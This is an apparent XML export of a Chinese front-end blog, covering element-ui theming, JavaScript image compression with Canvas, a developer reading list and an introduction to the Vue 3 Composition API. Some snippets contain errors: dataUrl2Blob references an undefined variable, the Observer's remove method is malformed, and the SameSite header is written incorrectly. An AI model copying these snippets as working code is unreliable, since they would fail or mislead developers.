[emitted] app static/fonts/element-icons.535877f.woff 28.2 kB [emitted] static/js/vendor.befb0a8962f74af4b7e2.js 157 kB 0 [emitted] vendor static/js/app.43c09c1f16b24d371e07.js 3.82 kB 1 [emitted] app static/js/manifest.2ae2e69a05c33dfc65f8.js 857 bytes 2 [emitted] manifest static/fonts/element-icons.732389d.ttf 56 kB [emitted]static/css/app.52d411d0c1b344066ec1f456355aa7b9.css.map 81.3 kB [emitted] static/js/vendor.befb0a8962f74af4b7e2.js.map 776 kB 0 [emitted] vendor static/js/app.43c09c1f16b24d371e07.js.map 17.1 kB 1 [emitted] app static/js/manifest.2ae2e69a05c33dfc65f8.js.map 4.97 kB 2 [emitted] manifest index.html 506 bytes [emitted] 由于样式是纯净的,css 文件大小从原来完全引入的 234KB 变成 38.8KB,进一步减小了打包大小。 总结通过以上实验分析我们可以得知,element-ui 要想实现按需引入和纯净的主题样式: 首先通过 babel-plugin-component 插件进行按需引入。 再用 element-theme 工具生成样变量文件。 然后根据项目需求修改自定义样式,依据该文件构建生成所有样式。 最后将按需引入样式 styleLibraryName 指向自定义样式目录。 如果对样式提取要求不高,可直接采取变量覆盖形式(同时存在默认样式)。还有不清楚可以戳这里查看案例源码,赠人 star,手有余香。 完~ps:个人见解有限,欢迎指正。]]></content>
<categories>
<category>vue</category>
</categories>
<tags>
<tag>vue</tag>
<tag>element-ui</tag>
</tags>
</entry>
<entry>
<title><![CDATA[了解JS压缩图片,这一篇就够了]]></title>
<url>%2F2020%2F06%2F07%2Fjs-image-compressor%2F</url>
<content type="text"><![CDATA[前言公司的移动端业务需要在用户上传图片是由前端压缩图片大小,再上传到服务器,这样可以减少移动端上行流量,减少用户上传等待时长,优化用户体验。 插播一下,本文案例已整理成插件,已上传 npm ,可通过 npm install js-image-compressor -D 安装使用,可以从 github 下载。 JavaScript 操作压缩图片原理不难,已有成熟 API,然而在实际输出压缩后结果却总有意外,有些图片竟会越压缩越大,加之终端(手机)类型众多,有些手机压缩图片甚至变黑。 所以本文将试图解决如下问题: 弄清 Image 对象、data URL、Canvas 和 File(Blob)之间的转化关系; 图片压缩关键技巧; 超大图片压缩黑屏问题。 转化关系在实际应用中有可能使用的情境:大多时候我们直接读取用户上传的 File 对象,读写到画布(canvas)上,利用 Canvas 的 API 进行压缩,完成压缩之后再转成 File(Blob) 对象,上传到远程图片服务器;不妨有时候我们也需要将一个 base64 字符串压缩之后再变为 base64 字符串传入到远程数据库或者再转成 File(Blob) 对象。一般的,它们有如下转化关系: 具体实现下面将按照转化关系图中的转化方法一一实现。 file2DataUrl(file, callback)用户通过页面标签 &lt;input type=&quot;file&quot; /&gt; 上传的本地图片直接转化 data URL 字符串形式。可以使用 FileReader 文件读取构造函数。FileReader 对象允许 Web 应用程序异步读取存储在计算机上的文件(或原始数据缓冲区)的内容,使用 File 或 Blob 对象指定要读取的文件或数据。该实例方法 readAsDataURL 读取文件内容并转化成 base64 字符串。在读取完后,在实例属性 result 上可获取文件内容。 1234567function file2DataUrl(file, callback) &#123; var reader = new FileReader(); reader.onload = function () &#123; callback(reader.result); &#125;; reader.readAsDataURL(file);&#125; Data URL 由四个部分组成:前缀(data:)、指示数据类型的 MIME 类型、如果非文本则为可选的 base64 标记、数据本身: data:[][;base64], 比如一张 png 格式图片,转化为 base64 字符串形式:data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAAgAElEQVR4XuxdB5g。 file2Image(file, callback)若想将用户通过本地上传的图片放入缓存并 img 标签显示出来,除了可以利用以上方法转化成的 base64 字符串作为图片 src,还可以直接用 URL 对象,引用保存在 File 和 Blob 中数据的 URL。使用对象 URL 的好处是可以不必把文件内容读取到 JavaScript 中 而直接使用文件内容。为此,只要在需要文件内容的地方提供对象 URL 即可。 12345678910111213141516171819function file2Image(file, callback) &#123; var image = new Image(); var URL = window.webkitURL || window.URL; if (URL) &#123; var url = URL.createObjectURL(file); image.onload = function() &#123; callback(image); URL.revokeObjectURL(url); &#125;; image.src = url; &#125; else &#123; inputFile2DataUrl(file, function(dataUrl) &#123; image.onload = function() &#123; callback(image); &#125; image.src = dataUrl; &#125;); &#125;&#125; 注意:要创建对象 URL,可以使用 window.URL.createObjectURL() 方法,并传入 File 或 Blob 对象。如果不再需要相应数据,最好释放它占用的内容。但只要有代码在引用对象 URL,内存就不会释放。要手工释放内存,可以把对象 URL 传给 URL.revokeObjectURL()。 url2Image(url, callback)通过图片链接(url)获取图片 Image 对象,由于图片加载是异步的,因此放到回调函数 callback 回传获取到的 Image 对象。 1234567function url2Image(url, callback) &#123; var image = new Image(); image.src = url; image.onload = function() &#123; callback(image); &#125;&#125; image2Canvas(image)利用 drawImage() 方法将 Image 对象绘画在 Canvas 对象上。 drawImage 有三种语法形式: void ctx.drawImage(image, dx, dy); void ctx.drawImage(image, dx, dy, dWidth, dHeight); void ctx.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight); 参数: image 绘制到上下文的元素; sx 绘制选择框左上角以 Image 为基准 X 轴坐标; sy 绘制选择框左上角以 Image 为基准 Y 轴坐标; sWidth 绘制选择框宽度; sHeight 绘制选择框宽度; dx Image 的左上角在目标 canvas 上 X 轴坐标; dy Image 的左上角在目标 canvas 上 Y 轴坐标; dWidth Image 在目标 canvas 上绘制的宽度; dHeight Image 在目标 canvas 上绘制的高度; 12345678function image2Canvas(image) &#123; var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d'); canvas.width = image.naturalWidth; canvas.height = image.naturalHeight; ctx.drawImage(image, 0, 0, canvas.width, canvas.height); return canvas;&#125; canvas2DataUrl(canvas, quality, type)HTMLCanvasElement 对象有 toDataURL(type, encoderOptions) 方法,返回一个包含图片展示的 data URL 。同时可以指定输出格式和质量。 参数分别为: type 图片格式,默认为 image/png。 encoderOptions 在指定图片格式为 image/jpeg 或 image/webp 的情况下,可以从 0 到 1 的区间内选择图片的质量。如果超出取值范围,将会使用默认值 0.92,其他参数会被忽略。 123function canvas2DataUrl(canvas, quality, type) &#123; return canvas.toDataURL(type || 'image/jpeg', quality || 0.8);&#125; dataUrl2Image(dataUrl, callback)图片链接也可以是 base64 字符串,直接赋值给 Image 对象 src 即可。 1234567function dataUrl2Image(dataUrl, callback) &#123; var image = new Image(); image.onload = function() &#123; callback(image); &#125;; image.src = dataUrl;&#125; dataUrl2Blob(dataUrl, type)将 data URL 字符串转化为 Blob 对象。主要思路是:先将 data URL 数据(data) 部分提取出来,用 atob 对经过 base64 编码的字符串进行解码,再转化成 Unicode 编码,存储在Uint8Array(8位无符号整型数组,每个元素是一个字节) 类型数组,最终转化成 Blob 对象。 123456789101112function dataUrl2Blob(dataUrl, type) &#123; var data = dataUrl.split(',')[1]; var mimePattern = /^data:(.*?)(;base64)?,/; var mime = dataUrl.match(mimePattern)[1]; var binStr = atob(data); var arr = new Uint8Array(len); for (var i = 0; i &lt; len; i++) &#123; arr[i] = binStr.charCodeAt(i); &#125; return new Blob([arr], &#123;type: type || mime&#125;);&#125; canvas2Blob(canvas, callback, quality, type)HTMLCanvasElement 有 toBlob(callback, [type], [encoderOptions]) 方法创造 Blob 对象,用以展示 canvas 上的图片;这个图片文件可以被缓存或保存到本地,由用户代理端自行决定。第二个参数指定图片格式,如不特别指明,图片的类型默认为 image/png,分辨率为 96dpi。第三个参数用于针对image/jpeg 格式的图片进行输出图片的质量设置。 12345function canvas2Blob(canvas, callback, quality, type)&#123; canvas.toBlob(function(blob) &#123; callback(blob); &#125;, type || 'image/jpeg', quality || 0.8);&#125; 为兼容低版本浏览器,作为 toBlob 的 polyfill 方案,可以用上面 data URL 生成 Blob 方法 dataUrl2Blob 作为HTMLCanvasElement 原型方法。 12345678if (!HTMLCanvasElement.prototype.toBlob) &#123; Object.defineProperty(HTMLCanvasElement.prototype, 'toBlob', &#123; value: function (callback, type, quality) &#123; let dataUrl = this.toDataURL(type, quality); callback(dataUrl2Blob(dataUrl)); &#125; &#125;);&#125; blob2DataUrl(blob, callback)将 Blob 对象转化成 data URL 数据,由于 FileReader 的实例 readAsDataURL 方法不仅支持读取文件,还支持读取 Blob 对象数据,这里复用上面 file2DataUrl 方法即可: 123function blob2DataUrl(blob, callback) &#123; file2DataUrl(blob, callback);&#125; blob2Image(blob, callback)将 Blob 对象转化成 Image 对象,可通过 URL 对象引用文件,也支持引用 Blob 这样的类文件对象,同样,这里复用上面 file2Image 方法即可: 123function blob2Image(blob, callback) &#123; file2Image(blob, callback);&#125; upload(url, file, callback)上传图片(已压缩),可以使用 FormData 传入文件对象,通过 XHR 直接把文件上传到服务器。 123456789101112131415function upload(url, file, callback) &#123; var xhr = new XMLHttpRequest(); var fd = new FormData(); fd.append('file', file); xhr.onreadystatechange = function () &#123; if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) &#123; // 上传成功 callback &amp;&amp; callback(xhr.responseText); &#125; else &#123; throw new Error(xhr); &#125; &#125; xhr.open('POST', url, true); xhr.send(fd);&#125; 也可以使用 FileReader 读取文件内容,转化成二进制上传 123456789101112function upload(url, file) &#123; var reader = new FileReader(); var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.overrideMimeType('text/plain; charset=x-user-defined-binary'); reader.onload = function() &#123; xhr.send(reader.result); &#125;; reader.readAsBinaryString(file);&#125; 实现简易图片压缩在熟悉以上各种图片转化方法的具体实现,将它们封装在一个公用对象 util 里,再结合压缩转化流程图,这里我们可以简单实现图片压缩了:首先将上传图片转化成 Image 对象,再将写入到 Canvas 画布,最后由 Canvas 对象 API 对图片的大小和尺寸输出调整,实现压缩目的。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778/** * 简易图片压缩方法 * @param &#123;Object&#125; options 相关参数 */(function (win) &#123; var REGEXP_IMAGE_TYPE = /^image\//; var util = &#123;&#125;; var defaultOptions = &#123; file: null, quality: 0.8 &#125;; var isFunc = function (fn) &#123; return typeof fn === 'function'; &#125;; var isImageType = function (value) &#123; return REGEXP_IMAGE_TYPE.test(value); &#125;; /** * 简易图片压缩构造函数 * @param &#123;Object&#125; options 相关参数 */ function SimpleImageCompressor(options) &#123; options = Object.assign(&#123;&#125;, defaultOptions, options); this.options = options; this.file = options.file; this.init(); &#125; var _proto = SimpleImageCompressor.prototype; win.SimpleImageCompressor = SimpleImageCompressor; /** * 初始化 */ _proto.init = function init() &#123; var _this = this; var file = this.file; var options = this.options; if (!file || !isImageType(file.type)) &#123; console.error('请上传图片文件!'); return; &#125; if (!isImageType(options.mimeType)) &#123; options.mimeType = file.type; &#125; util.file2Image(file, function (img) &#123; var canvas = util.image2Canvas(img); file.width = img.naturalWidth; file.height = img.naturalHeight; _this.beforeCompress(file, canvas); util.canvas2Blob(canvas, function (blob) &#123; blob.width = canvas.width; blob.height = canvas.height; options.success &amp;&amp; options.success(blob); &#125;, options.quality, options.mimeType) &#125;) &#125; /** * 压缩之前,读取图片之后钩子函数 */ _proto.beforeCompress = function beforeCompress() &#123; if (isFunc(this.options.beforeCompress)) &#123; this.options.beforeCompress(this.file); &#125; &#125; // 省略 `util` 公用方法定义 // ... // 将 `util` 公用方法添加到实例的静态属性上 for (key in util) &#123; if (util.hasOwnProperty(key)) &#123; SimpleImageCompressor[key] = util[key]; &#125; &#125;&#125;)(window) 这个简易图片压缩方法调用和入参: 123456789101112131415161718192021222324252627282930313233343536var fileEle = document.getElementById('file');fileEle.addEventListener('change', function () &#123; file = this.files[0]; var options = &#123; file: file, quality: 0.6, mimeType: 'image/jpeg', // 压缩前回调 beforeCompress: function (result) &#123; console.log('压缩之前图片尺寸大小: ', result.size); console.log('mime 类型: ', result.type); // 将上传图片在页面预览 // SimpleImageCompressor.file2DataUrl(result, function (url) &#123; // document.getElementById('origin').src = url; // &#125;) &#125;, // 压缩成功回调 success: function (result) &#123; console.log('压缩之后图片尺寸大小: ', result.size); console.log('mime 类型: ', result.type); console.log('压缩率: ', (result.size / file.size * 100).toFixed(2) + '%'); // 生成压缩后图片在页面展示 // SimpleImageCompressor.file2DataUrl(result, function (url) &#123; // document.getElementById('output').src = url; // &#125;) // 上传到远程服务器 // SimpleImageCompressor.upload('/upload.png', result); &#125; &#125;; new SimpleImageCompressor(options);&#125;, false); 如果看到这里的客官不嫌弃这个 demo 太简单可以戳这里试试水。如果你有足够的耐心多传几种类型图片就会发现还存在如下问题: 压缩输出图片寸尺固定为原始图片尺寸大小,而实际可能需要控制输出图片尺寸,同时达到尺寸也被压缩目的; png 格式图片同格式压缩,压缩率不高,还有可能出现“不减反增”现象; 有些情况,其他格式转化成 png 格式也会出现“不减反增”现象; 大尺寸 png 格式图片在一些手机上,压缩后出现“黑屏”现象; 改进版图片压缩俗话说“罗马不是一天建成的”,通过上述实验,我们发现了很多不足,下面将逐条问题分析,寻求解决方案。 压缩输出图片寸尺固定为原始图片尺寸大小,而实际可能需要控制输出图片尺寸,同时达到尺寸也被压缩目的; 为了避免压缩图片变形,一般采用等比缩放,首先要计算出原始图片宽高比 aspectRatio,用户设置的高乘以 aspectRatio,得出等比缩放后的宽,若比用户设置宽的小,则用户设置的高为为基准缩放,否则以宽为基准缩放。 12345678var aspectRatio = naturalWidth / naturalHeight;var width = Math.max(options.width, 0) || naturalWidth;var height = Math.max(options.height, 0) || naturalHeight;if (height * aspectRatio &gt; width) &#123; height = width / aspectRatio;&#125; else &#123; width = height * aspectRatio;&#125; 输出图片的尺寸确定了,接下来就是按这个尺寸创建一个 Canvas 画布,将图片画上去。这里可以将上面提到的 image2Canvas 方法稍微做一下改造: 12345678function image2Canvas(image, destWidth, destHeight) &#123; var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d'); canvas.width = destWidth || image.naturalWidth; canvas.height = destHeight || image.naturalHeight; ctx.drawImage(image, 0, 0, canvas.width, canvas.height); return canvas;&#125; png 格式图片同格式压缩,压缩率不高,还有可能出现“不减反增”现象 一般的,不建议将 png 格式图片压缩成自身格式,这样压缩率不理想,有时反而会造成自身质量变得更大。 因为我们在“具体实现”中两个有关压缩关键 API: toBlob(callback, [type], [encoderOptions]) 参数 encoderOptions 用于针对image/jpeg 格式的图片进行输出图片的质量设置; toDataURL(type, encoderOptions 参数encoderOptions 在指定图片格式为 image/jpeg 或 image/webp 的情况下,可以从 0 到 1 的区间内选择图片的质量。 均未对 png 格式图片有压缩效果。 有个折衷的方案,我们可以设置一个阈值,如果 png 图片的质量小于这个值,就还是压缩输出 png 格式,这样最差的输出结果不至于质量太大,在此基础上,如果压缩后图片大小 “不减反增”,我们就兜底处理输出源图片给用户。当图片质量大于某个值时,我们压缩成 jpeg 格式。 12345678910// `png` 格式图片大小超过 `convertSize`, 转化成 `jpeg` 格式if (file.size &gt; options.convertSize &amp;&amp; options.mimeType === 'image/png') &#123; options.mimeType = 'image/jpeg';&#125;// 省略一些代码// ...// 用户期待的输出宽高没有大于源图片的宽高情况下,输出文件大小大于源文件,返回源文件if (result.size &gt; file.size &amp;&amp; !(options.width &gt; naturalWidth || options.height &gt; naturalHeight)) &#123; result = file;&#125; 大尺寸 png 格式图片在一些手机上,压缩后出现“黑屏”现象; 由于各大浏览器对 Canvas 最大尺寸支持不同 浏览器 最大宽高 最大面积 Chrome 32,767 pixels 268,435,456 pixels(e.g.16,384 x 16,384) Firefox 32,767 pixels 472,907,776 pixels(e.g.22,528 x 20,992) IE 8,192 pixels N/A IE Mobile 4,096 pixels N/A 如果图片尺寸过大,在创建同尺寸画布,再画上图片,就会出现异常情况,即生成的画布没有图片像素,而画布本身默认给的背景色为黑色,这样就导致图片“黑屏”情况。 这里可以通过控制输出图片最大宽高防止生成画布越界,并且用透明色覆盖默认黑色背景解决解决“黑屏”问题: 1234567891011121314151617181920212223242526272829303132333435363738// ...// 限制最小和最大宽高var maxWidth = Math.max(options.maxWidth, 0) || Infinity;var maxHeight = Math.max(options.maxHeight, 0) || Infinity;var minWidth = Math.max(options.minWidth, 0) || 0;var minHeight = Math.max(options.minHeight, 0) || 0;if (maxWidth &lt; Infinity &amp;&amp; maxHeight &lt; Infinity) &#123; if (maxHeight * aspectRatio &gt; maxWidth) &#123; maxHeight = maxWidth / aspectRatio; &#125; else &#123; maxWidth = maxHeight * aspectRatio; &#125;&#125; else if (maxWidth &lt; Infinity) &#123; maxHeight = maxWidth / aspectRatio;&#125; else if (maxHeight &lt; Infinity) &#123; maxWidth = maxHeight * aspectRatio;&#125;if (minWidth &gt; 0 &amp;&amp; minHeight &gt; 0) &#123; if (minHeight * aspectRatio &gt; minWidth) &#123; minHeight = minWidth / aspectRatio; &#125; else &#123; minWidth = minHeight * aspectRatio; &#125;&#125; else if (minWidth &gt; 0) &#123; minHeight = minWidth / aspectRatio;&#125; else if (minHeight &gt; 0) &#123; minWidth = minHeight * aspectRatio;&#125;width = Math.floor(Math.min(Math.max(width, minWidth), maxWidth));height = Math.floor(Math.min(Math.max(height, minHeight), maxHeight));// ...// 覆盖默认填充颜色 (#000)var fillStyle = 'transparent';context.fillStyle = fillStyle; 到这里,上述的意外问题被我们一一解决了,如需体验改进版的图片压缩 demo 的小伙伴可以戳这里 总结我们梳理了通过页面标签 &lt;input type=&quot;file&quot; /&gt; 上传本地图片到图片被压缩整个过程,也覆盖到了在实际使用中还存在的一些意外情况,提供了相应的解决方案。将改进版图片压缩整理成插件,已上传 npm ,可通过 npm install js-image-compressor -D 安装使用,可以从 github 下载。整理匆忙,如有问题欢迎大家指正,完~]]></content>
<tags>
<tag>javacript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[我的阅读清单]]></title>
<url>%2F2020%2F05%2F29%2Freading-plan%2F</url>
<content type="text"><![CDATA[2020-5-29傻傻分不清之 Cookie、Session、Token、JWTPS:明扼要的对比了四者之间的异同点,加深前后端身份校验的认识,相关阅读阮一峰的JSON Web Token 入门教程 2020-5-31面试官:你可以用纯 CSS 判断鼠标进入的方向吗?PS:实际用途不大,但是思路清晰,利用鼠标进入区域 :hover,和动画过渡效果 transition 面试官问了一下三次握手,我甩出这张脑图,他服了!PS:深入 HTTP 三次握手部分 2020-6-1现在当前做的项目中遇到的难题: 参考:规避功能型问题&amp;业务性问题,除非是功能和业务确实很复杂,例如: 单点登录 权限的多维度管控 多组建信息的复杂共享类问题 产品安全解决策略 直播类、音视频类、实时通信类、可视化处理类…功能性突破性能优化方案: webpack 层面 http 层面 移动端项目将 http1.1 -&gt; http2,通过升级 Nginx-openresty 的 ssl,要求高于 1.0.2,然后配置 listen 443 端口加上 ssl http2 即可。 页面渲染层面 骨架屏 延迟/异步加载 大数据渲染优化强调结果,之前打包/加载时间 N 秒,我处理后优化 组建封装: 公共方法库 插件/组建封装 &amp; 开源级插件组建的打造 vue 自定义指令除了强调结果「例如:之前半个月开发周期,现在只需 7 天」还可以突出自己在源码方面的阅读能力 聊天消息确认机制 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849// 观察者模式// 某个事件拥有唯一标识作为键名,与之绑定的事件队列作为值// &#123;// [key1]: [fn1a, fn1b, fn1c],// [key2]: [fn2a, fn2b, fn2c],// &#125;class Observer &#123; constructor() &#123; this.data = &#123;&#125; &#125; // 监听 listen(key, callback) &#123; if (!this.data.hasOwnProperty(key)) &#123; this.data[key] = [] &#125; this.data[key].push(callback) &#125; // 触发 trigger(...args) &#123; const key = args[0] const callbacks = this.data[key] if (!callbacks || !Array.isArray(callbacks) || !callbacks.length) return callbacks.forEach((callback) =&gt; callback.apply(this, args.slice(1))) &#125; // 删除 remove(key, callback) &#123; const callbacks = this.data[key] if (!callbacks) return if (!callback) &#123; callbacks.length = 0 &#125; else &#123; const index = callbacks.findIndex((value = value === callback)) callbacks.splice(index, 1) &#125; &#125;&#125;const fn = () =&gt; &#123; console.log('fn')&#125;const ob = new Observer()ob.listen('key1', fn)console.log('ob: ', ob)ob.trigger('key1')ob.remove('key1')console.log('ob: ', ob) 图片压缩问题 获取不到图片大小base64 -&gt; formData 压缩黑屏问题 键盘兼容方案 2020-6-7手写 async await 的最简实现(20 行) 2020-7-18Chrome DevTools 中的这些骚操作,你都知道吗?介绍了一些在 Chrome DevTools 中的一些有用而少有人知的操作,Snippets 最骚,Sources -&gt; Snippets 即可在浏览器上生成 js 文件 2020-7-2110 个 Vue 开发技巧助力成为更好的工程师 介绍了 Vue 的 10 个高阶用法,让人眼前一亮的用法是同时监听多个变量的用法:定义一个计算属性,它的值为多个变量组成的对象,多个变量其中有发生变化,则计算属性也会变化,监听这个计算属性就可以知道这些变量有变化了!再者,使用 @hook 即可监听组件生命周期,比如:&lt;List @hook:mounted=&quot;listenMounted&quot;&gt;&lt;/List&gt; 2020-7-30React 源码剖析系列 - 不可思议的 react diff 2020-9-1在淘宝优化了一个大型项目,分享一些干货(Webpack,SplitChunk 代码实例,图文结合) 2020-10-30阔别两年,webpack5 正式发布 2020-10-31预测最近面试会考 Cookie 的 SameSite 属性2020 年 2 月份 Chrome 80 版本中默认屏蔽了第三方的 Cookie,这样会造成一些跨站 Cookie 鉴权问题,解决方案是在响应头加上 set-cookie: SameSite: None; 微前端究竟是什么,可以带来什么收益 微前端概念是从微服务概念扩展而来的,摒弃大型单体方式,将前端整体分解为小而简单的块,这些块可以独立开发、测试和部署,同时仍然聚合为一个产品出现在客户面前。可以理解微前端是一种将多个可独立交付的小型前端应用聚合为一个整体的架构风格。 2021-3-7ES2021 新特性提前知,附案例 ES7-ES12 空值合并运算符(??),左侧的数为 undefined 或者 null 时,返回右侧操作数,否则返回左侧; 可选链操作符(?.),读取对象链深处属性的值,不必验证链中的每个属性是否有效; BigInt,表示任意大的整数,不能和 Math 和 Number 对象混合运算,否则会丢失精度; String.prototype.matchAll(),返回一个包含所有匹配正则表达式的结果及分组捕获组的迭代器; Promise.allSettled(),并发任务中,无论一个任务正常或者异常,都返回对应的状态; 逻辑运算法符和赋值表达式 a&amp;&amp;=b -&gt; a&amp;&amp;a=b,a||=b -&gt; a||a=b,a??=b -&gt; a??a=b; String.prototype.replaceAll(),返回一个新字符串,新字符串中所有满足 pattern 的部分会被 replacement 替换; 数字分隔符,较长数字每 3 位添加一个分隔符(_或者,); Promise.any(),返回第一个成功(resolve)的结果,全部为失败(reject)走 catch; WeakRef 创建一个弱引用; 2021-3-13跨域资源共享 CORS 详解 2022-3-21跨域请求如何携带 cookie? 分为两步处理,处理跨域,响应头设置 Access-Control-Allow-Origin: https://simple.com 允许特定的域名发送跨域请求;处理携带 cookie,响应头设置Access-Control-Allow-Credentials:true 允许携带身份(Cookie,authorization)。 2022-9-19嗨,你真的懂 this 吗?JS 的 this 指向图解 javascript 的 this 指向nvmthis,call,bind,apply]]></content>
<tags>
<tag>前端</tag>
</tags>
</entry>
<entry>
<title><![CDATA[vue3.0 修炼手册]]></title>
<url>%2F2020%2F05%2F12%2Fvue3-composition-api%2F</url>
<content type="text"><![CDATA[前言随着2020年4月份 Vue3.0 beta 发布,惊喜于其性能的提升,友好的 TS 支持(语法补全),改写ES export写法,利用Tree shaking 减少打包大小,Composition API,Custom Renderer API 新功能拓展及其RECs 文档的完善。当然,还有一些后续工作(vuex, vue-router, cli, vue-test-utils, DevTools, Vetur, Nuxt)待完成,当前还不稳定,正式在项目中使用(目前可以在小型新项目中),还需在2020 Q2稳定版本之后。 Vue3.0 的到来已只是时间问题,未雨绸缪,何不先来尝鲜一波新特性~ 设计动机逻辑组合与复用组件 API 设计所面对的核心问题之一就是如何组织逻辑,以及如何在多个组件之间抽取和复用逻辑。基于 Vue 2.x 目前的 API 我们有一些常见的逻辑复用模式,但都或多或少存在一些问题。这些模式包括: Mixins 高阶组件 (Higher-order Components, aka HOCs) Renderless Components (基于 scoped slots / 作用域插槽封装逻辑的组件) 以上这些模式存在以下问题: 模版中的数据来源不清晰。举例来说,当一个组件中使用了多个 mixin 的时候,光看模版会很难分清一个属性到底是来自哪一个 mixin。HOC 也有类似的问题。 命名空间冲突。由不同开发者开发的 mixin 无法保证不会正好用到一样的属性或是方法名。HOC 在注入的 props 中也存在类似问题。 性能。HOC 和 Renderless Components 都需要额外的组件实例嵌套来封装逻辑,导致无谓的性能开销。 Composition API 受 React Hooks 的启发,提供了一个全新的逻辑复用方案,且不存在上述问题。使用基于函数的 API,我们可以将相关联的代码抽取到一个 &quot;composition function&quot;(组合函数)中 —— 该函数封装了相关联的逻辑,并将需要暴露给组件的状态以响应式的数据源的方式返回出来。这里是一个用组合函数来封装鼠标位置侦听逻辑的例子: 1234567891011121314151617181920212223242526function useMouse() &#123; const x = ref(0) const y = ref(0) const update = e =&gt; &#123; x.value = e.pageX y.value = e.pageY &#125; onMounted(() =&gt; &#123; window.addEventListener('mousemove', update) &#125;) onUnmounted(() =&gt; &#123; window.removeEventListener('mousemove', update) &#125;) return &#123; x, y &#125;&#125;// 在组件中使用该函数const Component = &#123; setup() &#123; const &#123; x, y &#125; = useMouse() // 与其它函数配合使用 const &#123; z &#125; = useOtherLogic() return &#123; x, y, z &#125; &#125;, template: `&lt;div&gt;&#123;&#123; x &#125;&#125; &#123;&#123; y &#125;&#125; &#123;&#123; z &#125;&#125;&lt;/div&gt;`&#125; 从以上例子中可以看到: 暴露给模版的属性来源清晰(从函数返回); 返回值可以被任意重命名,所以不存在命名空间冲突; 没有创建额外的组件实例所带来的性能损耗。 类型推导3.0 的一个主要设计目标是增强对 TypeScript 的支持。基于函数的 API 天然对类型推导很友好,因为 TS 对函数的参数、返回值和泛型的支持已经非常完备。 打包尺寸基于函数的 API 每一个函数都可以作为 named ES export 被单独引入,这使得它们对 tree-shaking 非常友好。没有被使用的 API 的相关代码可以在最终打包时被移除。同时,基于函数 API 所写的代码也有更好的压缩效率,因为所有的函数名和 setup 函数体内部的变量名都可以被压缩,但对象和 class 的属性/方法名却不可以。 Composition API 除了渲染函数 API 和作用域插槽语法之外的所有内容都将保持不变,或者通过兼容性构建让其与 2.x 保持兼容 Vue 3.0并不像 Angular 那样超强跨度版本,导致不兼容,而是在兼容 2.x 基础上做改进。 在这里可以在 2.x 中通过引入 @vue/composition-api,使用 Vue 3.0 新特性。 初始化项目1、安装 vue-cli3 1npm install -g @vue/cli 2、创建项目 1vue create vue3 3、项目中安装 composition-api 1npm install @vue/composition-api --save 4、在使用任何 @vue/composition-api 提供的能力前,必须先通过 Vue.use() 进行安装 1234import Vue from 'vue'import VueCompositionApi from '@vue/composition-api'Vue.use(VueCompositionApi) setup()Vue3 引入一个新的组件选项,setup(),它会在一个组件实例被创建时,初始化了 props 之后调用。 会接收到初始的 props 作为参数: 12345678export default &#123; props: &#123; name: String &#125;, setup(props) &#123; console.log(props.name) &#125;&#125; 传进来的 props 是响应式的,当后续 props 发生变动时它也会被框架内部同步更新。但对于用户代码来说,它是不可修改的(会导致警告)。 同时,setup() 执行时机相当于 2.x 生命周期 beforeCreate 之后,且在 created 之前: 123456789101112131415export default &#123; beforeCreate() &#123; console.log('beforeCreate') &#125;, setup() &#123; console.log('setup') &#125;, created() &#123; console.log('created') &#125;&#125;// 打印结果// beforeCreate// setup// created 在 setup() 中 this 不再是 vue 实例对象了,而是 undefined,可以理解为此时机实例还没有创建。在 setup() 第二个参数是上下文参数,提供了一些 2.x this 上有用属性。 12345678910111213141516171819export default &#123; setup(props, context) &#123; console.log('this: ', this) console.log('context: ', context) &#125;&#125;// 打印结果// this: undefined// context: &#123;// attrs: Object// emit: f()// isServer: false// listeners: Object// parent: VueComponent// refs: Object// root: Vue// slots: &#123;&#125;// ssrContext: undefined// &#125; 类似 data(),setup() 可以返回一个对象,这个对象上的属性将会暴露给模版的渲染上下文: 12345678910111213&lt;template&gt; &lt;div&gt;&#123;&#123; name &#125;&#125;&lt;/div&gt;&lt;/template&gt;&lt;script&gt;export default &#123; setup() &#123; return &#123; name: 'zs' &#125; &#125;&#125;&lt;/script&gt; reactive()等价于 vue 2.x 中的 Vue.observable() 函数,vue 3.x 中提供了 reactive() 函数,用来创建响应式的数据对象。 当(引用)数据直接改变不会让模版响应更新渲染: 12345678910111213141516&lt;template&gt; &lt;div&gt;count: &#123;&#123;state.count&#125;&#125;&lt;/div&gt;&lt;/template&gt;&lt;script&gt;export default &#123; setup() &#123; const state = &#123; count: 0 &#125; setTimeout(() =&gt; &#123; state.count++ &#125;) return &#123; state &#125; &#125;&#125;// 一秒后页面没有变化&lt;/script&gt; reactive 创建的响应式数据对象,在对象属性发生变化时,模版是可以响应更新渲染的: 1234567891011121314151617181920&lt;template&gt; &lt;div&gt;count: &#123;&#123;state.count&#125;&#125;&lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; reactive &#125; from '@vue/composition-api'export default &#123; setup() &#123; const state = reactive(&#123; count: 0 &#125;) setTimeout(() =&gt; &#123; state.count++ &#125;, 1000) return &#123; state &#125; &#125;&#125;// 一秒后页面数字从0变成1&lt;/script&gt; ref()在 Javascript 中,原始类型(如 String,Number)只有值,没有引用。如果在一个函数中返回一个字符串变量,接收到这个字符串的代码只会获得一个值,是无法追踪原始变量后续的变化的。 1234567891011121314151617181920&lt;template&gt; &lt;div&gt;count: &#123;&#123;state.count&#125;&#125;&lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; ref &#125; from '@vue/composition-api'export default &#123; setup() &#123; const count = 0 setTimeout(() =&gt; &#123; count++ &#125;, 1000) return &#123; count &#125; &#125;&#125;// 页面没有变化&lt;/script&gt; 因此,包装对象 ref() 的意义就在于提供一个让我们能够在函数之间以引用的方式传递任意类型值的容器。这有点像 React Hooks 中的 useRef —— 但不同的是 Vue 的包装对象同时还是响应式的数据源。有了这样的容器,我们就可以在封装了逻辑的组合函数中将状态以引用的方式传回给组件。组件负责展示(追踪依赖),组合函数负责管理状态(触发更新)。 ref() 返回的是一个 value reference (包装对象)。一个包装对象只有一个属性:.value 